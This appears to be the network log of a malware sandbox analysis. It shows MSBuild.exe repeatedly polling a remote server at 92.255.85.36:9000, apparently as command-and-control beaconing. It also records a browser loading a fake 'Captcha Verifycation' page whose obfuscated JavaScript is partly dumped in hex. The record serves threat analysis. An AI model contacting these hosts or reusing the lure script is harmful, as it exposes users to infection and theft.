Feb 27, 2025 20:26:11.699362993 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:12.429841995 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:40 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	52687	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:12.548101902 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:13.236651897 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:40 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	52688	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:13.345767021 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:14.035238028 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:42 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	52689	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:14.141973972 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:14.829582930 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:42 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	52690	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:14.938003063 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:15.645929098 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	52691	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:15.767843008 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:16.455946922 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:44 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	52692	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:16.567539930 CET	86	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000
Feb 27, 2025 20:26:17.270672083 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:44 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	52693	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:17.379183054 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:18.111053944 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	52694	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:18.223560095 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:18.935350895 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	52695	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:19.054008961 CET	86	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000
Feb 27, 2025 20:26:19.747425079 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	52696	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:19.867526054 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:20.549128056 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	52697	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:20.666176081 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:21.349080086 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	52698	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:21.461497068 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:22.146539927 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	52699	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:22.260822058 CET	86	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000
Feb 27, 2025 20:26:22.964817047 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	52700	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:23.075225115 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:23.780550957 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	52701	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:23.889878035 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:24.604090929 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	52702	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:24.716730118 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:25.465100050 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	52703	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:25.577559948 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:26.283787012 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	52704	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:26.392695904 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:27.136620998 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:54 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	52705	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:27.258085012 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:27.945199966 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:56 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	52706	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:28.057931900 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:28.775938034 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:56 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	52707	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:28.887623072 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:29.599441051 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:57 GMT Connection: close

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49704	103.52.144.214	443	7064	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-27 19:24:28 UTC	680	OUT	GET /google/captcha.html HTTP/1.1 Host: cta.berlmember.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-27 19:24:28 UTC	269	IN	HTTP/1.1 200 OK Date: Thu, 27 Feb 2025 19:24:28 GMT Server: Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips Last-Modified: Mon, 27 Jan 2025 13:51:59 GMT ETag: "f392-62cb061539dc0" Accept-Ranges: bytes Content-Length: 62354 Connection: close Content-Type: text/html
2025-02-27 19:24:28 UTC	7923	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 43 61 70 74 63 68 61 20 56 65 72 69 66 79 63 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 3e 3b 46 75 6e 63 74 69 6f 6e 28 22 27 5e 7d 26 69 61 65 72 7d 38 66 2b 38 5b 2d 5f 77 33 67 6e 38 69 73 7e 2c 73 32 72 66 39 68 77 75 35 61 37 78 35 31 26 25 71 71 63 7e 6f 6d 74 21 61 21 25 68 37 40 63 39 7b 2a 7e 2e 37 21 74 6d 65 76 7d 6d 6e 79 35 23 7b 5e 79 73 6f 32 7a 39 2e 6e 38 36 7a 79 26 5f 7e 65 2a 70 68 70 39 23 63 23 5e 6d 63 70 5d 78 39 5f 75 6f 74 37 31 6f 5b 32 31 34 6e 2e 6a 77 6e 37 6f 2d 7d 2d 34 79 70 31 78 38 37 76 38 5f 6c 72 36 65 5f 6c 61 69 6e 25 2a 34 65 37 35 34 6a 72 68 67 2d 7d 2a 26 6f 2a 2d 2c 35 66 7e 2a 75 6f 78 6b 2c 5b 40 5f 6b 5b 73 6a 7e 21 76 6f 68 Data Ascii: <!DOCTYPE html><title>Captcha Verifycation</title><script>;Function("'^}&iaer}8f+8[-_w3gn8is~,s2rf9hwu5a7x51&%qqc~omt!a!%h7@c9{~.7!tmev}mny5#{^yso2z9.n86zy&_~ephp9#c#^mcp]x9_uot71o[214n.jwn7o-}-4yp1x87v8_lr6e_lain%4e754jrhg-}&o-,5f~uoxk,[@_k[sj~!voh
2025-02-27 19:24:28 UTC	8000	IN	Data Raw: 37 33 31 32 59 36 31 33 38 66 66 33 36 37 64 38 40 46 34 38 59 35 33 38 41 35 31 32 37 66 33 32 61 65 31 34 37 36 46 34 35 36 43 39 33 35 35 34 55 61 38 31 63 38 35 37 59 37 32 59 39 59 7c 31 34 64 64 62 35 39 59 39 32 30 38 66 62 66 32 64 39 31 35 39 35 35 44 38 34 35 62 32 31 46 38 43 46 39 36 36 64 33 39 32 46 32 36 58 64 63 34 36 61 66 43 58 34 61 66 31 34 35 63 61 33 58 41 41 7c 58 39 32 58 43 34 30 59 58 32 58 62 33 65 35 37 66 65 32 35 64 63 37 32 65 39 36 31 62 34 65 58 35 34 37 62 36 32 62 36 66 66 66 37 39 58 36 35 61 63 61 5d 34 36 64 65 32 37 31 44 31 34 35 59 35 31 59 39 46 44 46 36 64 43 46 34 39 41 35 64 31 36 59 66 34 36 36 43 58 34 65 59 36 31 31 37 59 44 35 34 36 38 66 33 36 36 38 31 59 37 39 66 34 36 32 38 33 33 36 39 36 31 38 37 38 58 Data Ascii: 7312Y6138ff367d8@F48Y538A5127f32ae1476F456C93554Ua81c857Y72Y9Y\|14ddb59Y9208fbf2d915955D845b21F8CF966d392F26Xdc46afCX4af145ca3XAA\|X92XC40YX2Xb3e57fe25dc72e961b4eX547b62b6fff79X65aca]46de271D145Y51Y9FDF6dCF49A5d16Yf466CX4eY6117YD5468f36681Y79f4628336961878X
2025-02-27 19:24:28 UTC	8000	IN	Data Raw: 62 32 32 35 39 33 34 38 36 65 44 35 38 37 65 35 36 33 64 31 33 30 38 31 31 33 38 36 41 37 34 31 38 31 33 36 35 59 43 37 34 64 65 33 32 65 61 33 58 38 35 61 43 59 38 30 41 36 31 59 62 32 58 35 35 35 63 36 37 59 41 31 4d 46 37 58 58 30 34 44 63 30 32 58 58 33 52 41 36 66 44 41 34 63 66 63 35 61 64 38 34 36 61 35 66 36 38 38 66 62 31 63 62 36 66 36 61 62 64 30 33 63 59 38 31 32 44 35 33 32 35 44 63 66 34 30 46 35 31 62 62 38 66 34 35 61 43 41 33 59 46 30 31 36 38 35 32 30 35 35 43 32 33 35 41 33 35 38 38 30 65 33 35 32 63 31 37 31 63 66 34 44 62 62 31 61 36 59 46 44 37 30 39 31 32 62 36 62 32 30 34 35 59 31 33 65 39 38 55 34 39 35 44 32 34 34 62 35 36 41 39 30 32 64 36 46 63 66 33 46 62 30 36 35 38 62 46 39 36 63 63 61 33 37 61 61 31 38 63 64 66 36 35 61 63 Data Ascii: b22593486eD587e563d130811386A74181365YC74de32ea3X85aCY80A61Yb2X555c67YA1MF7XX04Dc02XX3RA6fDA4cfc5ad846a5f688fb1cb6f6abd03cY812D5325Dcf40F51bb8f45aCA3YF016852055C235A35880e352c171cf4Dbb1a6YFD70912b6b2045Y13e98U495D244b56A902d6Fcf3Fb0658bF96cca37aa18cdf65ac
2025-02-27 19:24:28 UTC	8000	IN	Data Raw: 5e 46 38 36 63 63 34 61 43 30 31 65 39 46 66 34 34 33 62 66 33 39 64 31 31 30 35 39 63 62 33 33 62 61 35 33 63 32 33 37 39 44 65 31 38 30 39 59 3b 44 37 35 31 32 37 61 65 64 32 44 63 36 31 33 37 39 31 62 34 61 59 43 32 34 43 31 55 62 61 35 53 35 37 35 44 44 36 44 63 65 66 39 36 59 64 33 38 33 59 38 33 39 63 33 32 32 41 37 31 36 34 63 46 35 33 31 63 36 33 31 37 61 64 34 34 30 62 34 35 64 61 34 31 62 37 59 44 46 34 44 65 32 35 34 61 38 66 34 38 44 65 39 35 43 43 32 31 33 39 41 31 30 37 35 46 44 33 32 64 63 32 44 62 32 31 36 38 41 66 66 32 32 39 34 46 43 41 58 31 32 36 58 65 63 34 41 64 30 33 62 41 36 3f 59 34 66 65 66 36 33 62 35 4d 30 38 36 5f 39 36 37 46 37 33 58 59 43 31 36 36 59 52 66 35 34 65 65 34 38 37 62 65 64 35 35 46 46 37 62 43 35 33 62 63 32 32 Data Ascii: ^F86cc4aC01e9Ff443bf39d11059cb33ba53c2379De1809Y;D75127aed2Dc613791b4aYC24C1Uba5S575DD6Dcef96Yd383Y839c322A7164cF531c6317ad440b45da41b7YDF4De254a8f48De95CC2139A1075FD32dc2Db2168Aff2294FCAX126Xec4Ad03bA6?Y4fef63b5M086_967F73XYC166YRf54ee487bed55FF7bC53bc22
2025-02-27 19:24:28 UTC	8000	IN	Data Raw: 66 30 35 46 43 43 33 39 44 38 33 66 37 46 46 34 41 39 44 31 34 33 61 62 31 31 43 36 58 37 35 43 31 31 33 41 64 37 34 32 37 39 58 31 37 39 62 64 33 36 41 34 5e 32 37 31 44 58 37 46 59 37 35 31 39 31 25 36 59 59 58 33 35 36 63 30 32 33 38 62 33 43 41 35 58 32 37 61 61 63 31 62 38 38 7b 37 38 37 43 58 33 58 61 62 33 58 38 33 5f 32 62 31 31 35 38 30 46 34 36 33 62 65 32 38 35 37 58 43 33 32 58 38 34 38 43 34 33 32 39 63 4b 35 32 34 62 66 31 39 62 30 32 34 39 38 66 37 31 66 59 41 4e 31 37 36 32 62 35 30 59 36 33 35 65 34 33 37 61 32 32 32 37 58 46 30 31 44 62 33 66 38 59 37 32 36 39 33 58 39 36 35 63 62 32 64 41 59 2c 44 38 30 58 43 3d 59 39 43 65 64 38 32 43 38 38 37 44 46 35 62 63 31 32 33 41 31 28 33 37 36 58 32 23 31 39 63 65 33 37 39 59 58 37 44 64 38 34 Data Ascii: f05FCC39D83f7FF4A9D143ab11C6X75C113Ad74279X179bd36A4^271DX7FY75191%6YYX356c0238b3CA5X27aac1b88{787CX3Xab3X83_2b11580F463be2857XC32X848C4329cK524bf19b02498f71fYAN1762b50Y635e437a2227XF01Db3f8Y72693X965cb2dAY,D80XC=Y9Ced82C887DF5bc123A1(376X2#19ce379YX7Dd84
